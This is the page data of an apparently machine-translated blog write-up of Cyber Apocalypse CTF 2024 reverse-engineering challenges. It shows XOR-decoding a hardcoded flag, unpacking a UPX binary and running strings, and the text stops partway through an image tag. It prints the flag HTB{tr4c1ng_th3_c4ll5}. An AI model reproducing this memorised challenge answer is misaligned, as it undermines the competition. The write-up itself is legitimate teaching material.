{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-cyber-apocaly-ctf-2024-en","result":{"data":{"markdownRemark":{"id":"da688764-68f4-506b-b89f-2084a72f8d16","html":"<blockquote>\n<p>This page has been machine-translated from the <a href=\"/ctf-cyber-apocaly-ctf-2024\">original page</a>.</p>\n</blockquote>\n<p>We participated in Cyber Apocalypse CTF 2024, which started on 3/9, as team 0nePadding and placed 120th.</p>\n<p>It was a frustrating round as we wasted time on careless mistakes, but as usual, I’ll be writing up the solutions.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/7f59e00d66a112be9083a445bd01a578/dcccd/image-20240314225751732.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 70%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAADRklEQVQ4y02Ty28bVRTGDY499ozHHr8Sx/H7lTgPUydR7BRo2kqFqhILHiqCIhAgVJXXBhUBAURhU5QVKmogCmJB1CBRHlVLAgkBN7SBBqxS2gbUNf/Hj3Ovm8Di6ozunPud73zfOS6vGaDLZ+nj8QfwmjZeK4QnEMVwEhIjGGZQ36v/27ldPhOPioaJ2/Drc6fHwqUSt8EM+faHE+QbBzl0dJon3/iQg89O010ew7DDGFZQ5+nCUqjLdPCFIqQrWXKDeaIZ+zagZiaJVpj6oac5sfAj8yvrnL24xZnWFq/NniM5OClAtmbqNixSpRq7GvtxkhmG7qlQ2ztAdcrpAOqKcuLFXbzz6SpLGzf4+ocrbFzd4pf2NS7d/Icjx2fokoKqC7d01Jsfor/WJNSTJZ7LkijmKTVD2y2bWKEoM6fm2Lh2i9XLbc6ubtD67SZrv/7Bxc0/2bx+i4cefQKX6w48omm6XKPe3CeAecxIikA8Q3HiNqBq17Cj3H/kRc61rrK83mZh6QoXWr/z8+Z1YfoXpz9fJlMd0+IriRTD2sQUsVS5AxjLUp7cAbQxwz3kmg9wcmGJM2vrfPLdGp+tXOaLn1p8eanN66e/wskOa2MUYCxVEQ33kiwMiZEp7Pj/ASUhEE2SF8BXZi9w6vwm89+3+XjlBicXV3h/8RvenFsiVqrjE7eVOYncoIANC1hS2GX0Ke8WQFVRJUUyVVKjB3j8rXk++PZvjn+0zKtzqzw1fYLCRD+7HztGz0ATuzstmtskpeVKrUGwO4cVTWvAHVPMSIJwup+0AI49fIyXZxe57/kZ9jzzNvcefgSXz0V2siFTMCrSxGWYLRLZKoXqOE6igM/p04AdU4S+z47owQ2KY5mJ/eSn6uw7+i57nnuPwuTdMsQyJsMjAtaLLxjRc5gu3UWqOKJdjiZLWkMNaMia+UNxoZ0klCzSXRknLkPbPPwS4w++IAzSWrNeGexIdlAepgU0Rlw6yldH6SsOkxuoa6bFhmIoGhrCULXt9JUJi3tKz3hpDEcembKK/lCMWH6EaG5IWkthBByZxZC4LY5LdEv0BlSHsnqdhTd39lktvGKtHnWKdVztnM5/navz/4vqzu21+Bfr+b4VW7S81gAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/7f59e00d66a112be9083a445bd01a578/8ac56/image-20240314225751732.webp 240w,\n/static/7f59e00d66a112be9083a445bd01a578/d3be9/image-20240314225751732.webp 480w,\n/static/7f59e00d66a112be9083a445bd01a578/e46b2/image-20240314225751732.webp 960w,\n/static/7f59e00d66a112be9083a445bd01a578/0b154/image-20240314225751732.webp 1127w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/7f59e00d66a112be9083a445bd01a578/8ff5a/image-20240314225751732.png 240w,\n/static/7f59e00d66a112be9083a445bd01a578/e85cb/image-20240314225751732.png 480w,\n/static/7f59e00d66a112be9083a445bd01a578/d9199/image-20240314225751732.png 960w,\n/static/7f59e00d66a112be9083a445bd01a578/dcccd/image-20240314225751732.png 1127w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/7f59e00d66a112be9083a445bd01a578/d9199/image-20240314225751732.png\"\n            alt=\"image-20240314225751732\"\n            title=\"image-20240314225751732\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<!-- omit in toc -->\n<h2 id=\"table-of-contents\" style=\"position:relative;\"><a href=\"#table-of-contents\" aria-label=\"table of contents permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Table of Contents</h2>\n<ul>\n<li><a href=\"#boxcutterrev\">BoxCutter(Rev)</a></li>\n<li><a href=\"#packedawayrev\">PackedAway(Rev)</a></li>\n<li><a href=\"#lootstashrev\">LootStash(Rev)</a></li>\n<li>\n<p><a href=\"#crushingrev\">Crushing(Rev)</a></p>\n<ul>\n<li><a href=\"#add_char_to_map-function\">add_char_to_map Function</a></li>\n<li><a href=\"#serialize_and_output-function\">serialize_and_output Function</a></li>\n<li><a href=\"#solve\">Solve</a></li>\n</ul>\n</li>\n<li><a href=\"#followthepathrev\">FollowThePath(Rev)</a></li>\n<li><a href=\"#quickscanrev\">QuickScan(Rev)</a></li>\n<li><a href=\"#metagamingrev\">Metagaming(Rev)</a></li>\n<li><a href=\"#fake-boostforensic\">Fake Boost(Forensic)</a></li>\n<li><a href=\"#game-invitationforensic\">Game Invitation(Forensic)</a></li>\n<li><a href=\"#confinementforensic\">Confinement(Forensic)</a></li>\n<li><a href=\"#summary\">Summary</a></li>\n</ul>\n<h2 id=\"boxcutterrev\" style=\"position:relative;\"><a href=\"#boxcutterrev\" aria-label=\"boxcutterrev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>BoxCutter(Rev)</h2>\n<blockquote>\n<p>You’ve received a supply of valuable food and medicine from a generous sponsor. There’s just one problem - the box is made of solid steel! Luckily, there’s a dumb automated defense robot which you may be able to trick into opening the box for you - it’s programmed to only attack things with the correct label.</p>\n</blockquote>\n<p>Decompiling the ELF file provided as the challenge binary with BinaryNinja yielded the following result.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/677f94fa2baad36640b5e57f55a5a004/4dba2/image-20240310131641163.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 39.166666666666664%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA90lEQVQoz5WRXW7EIAyEc5sk/EPItiRRCtKStKrU+99m6gDtU6XtPnwa24KxMd35+Y7zzMjHgYPI+U5Kec5F76QxRsQUi6aUKE41L9Q8NbqXPUBqBWM0jNUYGSswxgnSkYFTzHmD8T9z1u51Ia3FyE8Wr7cJ883Dzx6zrzjnqJmB0aaprvzUGkopCCmqoTIKWlfTeZ4wkU5Ow1L9mp5xhmEYMI7jQ7oQ24TewVpLUDcyl1LRAVYOsYuyhsd0S9rKhFZLmsxBK10wxVT+2+jXsHyKktD0ftEWLcQVC/R9/zTd+fWBPe6Ibzu2bcO6LFjXtRAoDiE8xTfjrfwFCjpGTQAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/677f94fa2baad36640b5e57f55a5a004/8ac56/image-20240310131641163.webp 240w,\n/static/677f94fa2baad36640b5e57f55a5a004/d3be9/image-20240310131641163.webp 480w,\n/static/677f94fa2baad36640b5e57f55a5a004/e46b2/image-20240310131641163.webp 960w,\n/static/677f94fa2baad36640b5e57f55a5a004/ee998/image-20240310131641163.webp 1151w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/677f94fa2baad36640b5e57f55a5a004/8ff5a/image-20240310131641163.png 240w,\n/static/677f94fa2baad36640b5e57f55a5a004/e85cb/image-20240310131641163.png 480w,\n/static/677f94fa2baad36640b5e57f55a5a004/d9199/image-20240310131641163.png 960w,\n/static/677f94fa2baad36640b5e57f55a5a004/4dba2/image-20240310131641163.png 1151w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/677f94fa2baad36640b5e57f55a5a004/d9199/image-20240310131641163.png\"\n            alt=\"image-20240310131641163\"\n            title=\"image-20240310131641163\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Simply XORing the hardcoded byte array reveals the flag.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">data <span class=\"token operator\">=</span> <span class=\"token string\">b\"\\x7f\\x63\\x75\\x4c\\x43\\x45\\x03\\x54\\x06\\x59\\x50\\x68\\x43\\x5f\\x04\\x68\\x54\\x03\\x5b\\x5b\\x02\\x4a\\x37\"</span>\n<span class=\"token keyword\">for</span> d <span class=\"token keyword\">in</span> data<span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span>d<span class=\"token operator\">^</span><span class=\"token number\">0x37</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>end<span class=\"token operator\">=</span><span class=\"token string\">\"\"</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># HTB{tr4c1ng_th3_c4ll5}</span></code></pre></div>\n<h2 id=\"packedawayrev\" style=\"position:relative;\"><a href=\"#packedawayrev\" aria-label=\"packedawayrev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>PackedAway(Rev)</h2>\n<blockquote>\n<p>To escape the arena’s latest trap, you’ll need to get into a secure vault - and quick! There’s a password prompt waiting for you in front of the door however - can you unpack the password quick and get to safety?</p>\n</blockquote>\n<p>Surface-level analysis of the ELF file provided as the challenge binary revealed that it was a UPX-packed binary.</p>\n<p>Challenges involving packed ELF binaries seem somewhat uncommon.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 958px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/418067366568e7c4451c90a90b2a1f61/b97f6/image-20240310133222034.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 15%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAt0lEQVQI102MWwuCUBCEfQrKsgtCZHQ3zdLOnqNREZl0IdOgh/7/b5lWg+hh+HZ2ZlfbDQVoJKD6PkTLx7ojQR1iEoJmgHWbQKZkLyB457Pf9iLcpnvc7APO4x1iK8R1ssem5UF7ewkuXcLDifFcJngFF2SLuGTOR/dBhOf8gMw7/fKc59Q54mgpUM1GUJmUEtUZtNRcgXQbUp8jNFzIulOWFFMZC0ieiYtFTizVcL8Zs3hQdP/1Af7+WX29+pJyAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/418067366568e7c4451c90a90b2a1f61/8ac56/image-20240310133222034.webp 240w,\n/static/418067366568e7c4451c90a90b2a1f61/d3be9/image-20240310133222034.webp 480w,\n/static/418067366568e7c4451c90a90b2a1f61/cb8de/image-20240310133222034.webp 958w\"\n              sizes=\"(max-width: 958px) 100vw, 958px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/418067366568e7c4451c90a90b2a1f61/8ff5a/image-20240310133222034.png 240w,\n/static/418067366568e7c4451c90a90b2a1f61/e85cb/image-20240310133222034.png 480w,\n/static/418067366568e7c4451c90a90b2a1f61/b97f6/image-20240310133222034.png 958w\"\n            sizes=\"(max-width: 958px) 100vw, 958px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/418067366568e7c4451c90a90b2a1f61/b97f6/image-20240310133222034.png\"\n            alt=\"image-20240310133222034\"\n            title=\"image-20240310133222034\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>I tried to unpack it with the upx command, but it failed because the version was too old.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">$ upx -d packed -o unpacked\n                       Ultimate Packer <span class=\"token keyword\">for</span> eXecutables\n                          Copyright <span class=\"token punctuation\">(</span>C<span class=\"token punctuation\">)</span> <span class=\"token number\">1996</span> - <span class=\"token number\">2020</span>\nUPX <span class=\"token number\">3.96</span>        Markus Oberhumer, Laszlo Molnar <span class=\"token operator\">&amp;</span> John Reiser   Jan 23rd <span class=\"token number\">2020</span>\n\n        File size         Ratio      Format      Name\n   --------------------   ------   -----------   -----------\nupx: packed: CantUnpackException: need a newer version of UPX\n\nUnpacked <span class=\"token number\">0</span> files.</code></pre></div>\n<p>So I downloaded the latest version of upx from the following link and unpacked it.</p>\n<p>Reference: <a href=\"https://github.com/upx/upx\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">GitHub - upx/upx: UPX - the Ultimate Packer for eXecutables</a></p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/e8b9373674d2ad032ad1fab254014e42/ea64c/image-20240310133315305.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 17.916666666666668%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA2UlEQVQY03WPSYvCQBCFc3JwgRHFJYxK1NiOGNMdTYxms43bBBG9+P9/yptKy4ge5vDxqijqvSrNbk0gqkRNQJoJdkxCsi1S0is/4sYPSA0fsutB9jwczRDb3lL1+8FazaK2g+RroebaoswQNm3EbY7zZIO7myFjMS5WitMows84oQUBj0Ldz2+ELYF1w4ZVMJ7MPvoPCn1oh2Gg3IMmJ3Wx6Xjw6xYyMsp1Z6wQ6w7mFQZRHsEhRMn8F20/CODXppTMlUFuvCLNXwrokkh/vMOLwzfy5df6j188UndyXSL+lgAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/e8b9373674d2ad032ad1fab254014e42/8ac56/image-20240310133315305.webp 240w,\n/static/e8b9373674d2ad032ad1fab254014e42/d3be9/image-20240310133315305.webp 480w,\n/static/e8b9373674d2ad032ad1fab254014e42/e46b2/image-20240310133315305.webp 960w,\n/static/e8b9373674d2ad032ad1fab254014e42/36c36/image-20240310133315305.webp 1116w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/e8b9373674d2ad032ad1fab254014e42/8ff5a/image-20240310133315305.png 240w,\n/static/e8b9373674d2ad032ad1fab254014e42/e85cb/image-20240310133315305.png 480w,\n/static/e8b9373674d2ad032ad1fab254014e42/d9199/image-20240310133315305.png 960w,\n/static/e8b9373674d2ad032ad1fab254014e42/ea64c/image-20240310133315305.png 1116w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/e8b9373674d2ad032ad1fab254014e42/d9199/image-20240310133315305.png\"\n            alt=\"image-20240310133315305\"\n            title=\"image-20240310133315305\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Running strings on the unpacked binary revealed the flag.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 658px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/fd8af1767515227e8940f2f7e0ef1c3a/889a4/image-20240310133506576.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 34.166666666666664%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABFklEQVQoz32RWU/CQBSF+6Cg6ItxA3FpQXyQbpTF1mlFbBtRU1A0wYYnjf//Lxzn3lKDgfBwMtNZvn4no7y3n/DRfcbEGSIVr5i6Ce7PuhDHNueu2kZQceCXs/ntkTX/bvG+d2jCLl3C2q7zqMyCCRI95MOD8x78SotHIQH9agcP6g2v9U87HJrHdcE/zZPD5sA3jMzo7wKbEYwuS4tAAoITB6HmItI89Pau0dy4gFHUYBSy5IYUheomRgh3X2cAhyCyFsG5qgRSA7IhYG6T55/hd5ziK/rES3MA78CAXlBhFmuZwWLYRu5t1ZYgi1GobirGGFsxnN0r6Jsq7J3GysOrjJaAU2+En+EMjw2fofQIZLgOuC6/8GvQpAVKp1EAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/fd8af1767515227e8940f2f7e0ef1c3a/8ac56/image-20240310133506576.webp 240w,\n/static/fd8af1767515227e8940f2f7e0ef1c3a/d3be9/image-20240310133506576.webp 480w,\n/static/fd8af1767515227e8940f2f7e0ef1c3a/6ad61/image-20240310133506576.webp 658w\"\n              sizes=\"(max-width: 658px) 100vw, 658px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/fd8af1767515227e8940f2f7e0ef1c3a/8ff5a/image-20240310133506576.png 240w,\n/static/fd8af1767515227e8940f2f7e0ef1c3a/e85cb/image-20240310133506576.png 480w,\n/static/fd8af1767515227e8940f2f7e0ef1c3a/889a4/image-20240310133506576.png 658w\"\n            sizes=\"(max-width: 658px) 100vw, 658px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/fd8af1767515227e8940f2f7e0ef1c3a/889a4/image-20240310133506576.png\"\n            alt=\"image-20240310133506576\"\n            title=\"image-20240310133506576\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"lootstashrev\" style=\"position:relative;\"><a href=\"#lootstashrev\" aria-label=\"lootstashrev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>LootStash(Rev)</h2>\n<blockquote>\n<p>A giant stash of powerful weapons and gear have been dropped into the arena - but there’s one item you have in mind. Can you filter through the stack to get to the one thing you really need?</p>\n</blockquote>\n<p>Decompiling the file provided as the challenge binary with BinaryNinja yielded the following result.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/7b7e47da118a908f823f43ee320ba4c0/e2e58/image-20240310134211184.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 25.83333333333333%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAy0lEQVQY042QR27EMBAE9RolLJU4w6QRvRYcTv7/c9pDahfYm30odJMYFEPz/nki3zMOERw5V+QQ5cAuO0RJKSGEgBjjnzTpFCy0gtcJwTNsSFhWCzNNMMZgGAb0ff9vmliEdsFsbiC7YZ5npchumFQ4jiPatkXXdUr/yGd/XXeX8OPnC3sWBEc43wTeBxARmBmOXe1Snqy390zwTvcV767O3oFL6ry1Fs39+0SUhBic/pOvgiqka6j0FGKVMVk9pCRp2pr0mCls24ZfIJifmiWsWlIAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/7b7e47da118a908f823f43ee320ba4c0/8ac56/image-20240310134211184.webp 240w,\n/static/7b7e47da118a908f823f43ee320ba4c0/d3be9/image-20240310134211184.webp 480w,\n/static/7b7e47da118a908f823f43ee320ba4c0/e46b2/image-20240310134211184.webp 960w,\n/static/7b7e47da118a908f823f43ee320ba4c0/b8544/image-20240310134211184.webp 1069w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/7b7e47da118a908f823f43ee320ba4c0/8ff5a/image-20240310134211184.png 240w,\n/static/7b7e47da118a908f823f43ee320ba4c0/e85cb/image-20240310134211184.png 480w,\n/static/7b7e47da118a908f823f43ee320ba4c0/d9199/image-20240310134211184.png 960w,\n/static/7b7e47da118a908f823f43ee320ba4c0/e2e58/image-20240310134211184.png 1069w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/7b7e47da118a908f823f43ee320ba4c0/d9199/image-20240310134211184.png\"\n            alt=\"image-20240310134211184\"\n            title=\"image-20240310134211184\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>It appears to be a program that retrieves strings corresponding to randomly generated values from the .data section.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/5930019ece145fa45f17614386483805/e751c/image-20240310134253004.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 12.5%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAsElEQVQI1x2OVw6DQAxEuUQKENhl2UIJICWEliBayv1PNDH7MZqxNZafc/AZjkEEnwswIXEKKUcSQawRaQNucoQqodlYZyYDUymYThFKA5fvNwJepOzeeYwLdjWvCQ15TZ4UlS3Xw4hh/aKbVtKGltQvHzv384b6OaJqBnTLD0l1Rzu/4ci0gMwKKJLOS8j0ioBIz0S6f/d4DJcJyuSWXhGNpF0ML+QQRGzKGy5C2d4f9ONZMdZdJ8YAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/5930019ece145fa45f17614386483805/8ac56/image-20240310134253004.webp 240w,\n/static/5930019ece145fa45f17614386483805/d3be9/image-20240310134253004.webp 480w,\n/static/5930019ece145fa45f17614386483805/e46b2/image-20240310134253004.webp 960w,\n/static/5930019ece145fa45f17614386483805/33ebe/image-20240310134253004.webp 1123w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/5930019ece145fa45f17614386483805/8ff5a/image-20240310134253004.png 240w,\n/static/5930019ece145fa45f17614386483805/e85cb/image-20240310134253004.png 480w,\n/static/5930019ece145fa45f17614386483805/d9199/image-20240310134253004.png 960w,\n/static/5930019ece145fa45f17614386483805/e751c/image-20240310134253004.png 1123w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/5930019ece145fa45f17614386483805/d9199/image-20240310134253004.png\"\n            alt=\"image-20240310134253004\"\n            title=\"image-20240310134253004\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Since the flag was embedded in plaintext, it could be simply retrieved with strings.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/cb9810e4a60cd1b056e63520843a104e/46e51/image-20240310134147706.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 5%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAABCAYAAADeko4lAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAS0lEQVQI12NwNXb872Bo999O1eK/g6rjfzs1p//GYib/tfh0/+vw6/3XBmIdfl041gaKm4oZ/XdWAKqXNf3vJG/+31bK6L+TAoQGAMZSHnqVeqv8AAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/cb9810e4a60cd1b056e63520843a104e/8ac56/image-20240310134147706.webp 240w,\n/static/cb9810e4a60cd1b056e63520843a104e/d3be9/image-20240310134147706.webp 480w,\n/static/cb9810e4a60cd1b056e63520843a104e/e46b2/image-20240310134147706.webp 960w,\n/static/cb9810e4a60cd1b056e63520843a104e/2f8da/image-20240310134147706.webp 1003w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/cb9810e4a60cd1b056e63520843a104e/8ff5a/image-20240310134147706.png 240w,\n/static/cb9810e4a60cd1b056e63520843a104e/e85cb/image-20240310134147706.png 